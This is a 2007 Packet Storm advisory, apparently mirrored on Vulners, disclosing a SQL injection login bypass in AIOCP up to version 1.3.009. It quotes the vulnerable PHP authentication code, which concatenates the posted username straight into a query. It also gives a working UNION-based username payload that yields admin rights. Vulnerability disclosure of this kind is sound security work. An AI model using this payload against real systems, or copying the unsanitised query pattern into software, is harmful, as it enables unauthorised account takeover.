Lucene search

K

aiocp-bypass.txt

🗓️ 14 Jan 2007 00:00:00Reported by ColossType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 12 Views

AIOCP SQL Injection Vulnerability in cp_authorization.php allows bypassing logi

Show more
Code
`[i] Product Name: AIOCP - All In One Control Panel  
[i] Vulnerable Versions: <= 1.3.009  
[i] Bug found by: Coloss  
[i] Contact: [email protected]  
[i] Date: 9.1.2007  
  
[i] Spec: AIOCP doesn't check the username posted by the client before using this to check authentication, so SQL Injection is possible  
Example shows how to bypass login  
[i] Other infos: This works with magic_quotes_gpc = Off  
[i] Workaround: Edit source code to properly check username  
No official patch is yet available  
  
  
[Analysis]  
  
[Unique Step] File: AIOCP/shared/code/cp_authorization.php  
  
90 if ((isset($_POST['logaction'])) AND ($_POST['logaction'] == "login")) {  
91 $xuser_password = md5($_POST['xuser_password']); // one-way password encoding  
92 // check if submitted login information are correct  
93 $sql = "SELECT * FROM ".K_TABLE_USERS." WHERE user_name='".$_POST['xuser_name']."' AND user_password='".$xuser_password."'";  
94 if($r = F_aiocpdb_query($sql, $db)) {  
95 if($m = F_aiocpdb_fetch_array($r)) {  
96 // sets some user's session data  
97 $_SESSION['session_user_id'] = $m['user_id'];  
98 $_SESSION['session_user_name'] = $m['user_name'];  
99 $_SESSION['session_user_ip'] = $_SERVER['REMOTE_ADDR'];  
100 $_SESSION['session_user_level'] = $m['user_level'];  
101 $_SESSION['session_user_language'] = $m['user_language'];  
102 $_SESSION['session_alt_menu'] = 0; //default alternative menu disabled  
103 // read client cookie  
104 if(isset($_COOKIE['LastVisit'])) {  
105 $_SESSION['session_last_visit'] = $_COOKIE['LastVisit'];  
106 }  
107 else {  
108 $_SESSION['session_last_visit'] = 0;  
109 }  
110 $logged=TRUE;  
111 }  
112 else {  
113 F_print_error("WARNING", $l['m_login_wrong']);  
114 }  
115 }  
116 else {  
117 F_display_db_error();  
118 }  
119 }  
  
  
Parameters username and password are posted by the user on any login form. Password is crypted with md5() so it  
cannot be used to perform any attack. Otherwise username isn't checked before the SQL query is performed.  
  
[POC]  
  
In: http://www.example.org/AIOCP/admin/code/index.php  
Username: [sql]  
Password: <any password>  
  
  
[Exploit example]  
  
In: http://www.example.org/AIOCP/admin/code/index.php  
Username: ' OR user_id = '2' UNION SELECT * FROM aiocp_users WHERE user_name='  
Password: <any password>  
  
So you 'll get admin rights. (you 'll get rights of user with id = 2, usually admin)  
  
Note: You have to substitute user_id = '<user_id>' with some existing user_id.. usually 2 is admin user id  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo
14 Jan 2007 00:00Current
7.4High risk
Vulners AI Score7.4
12
.json
Report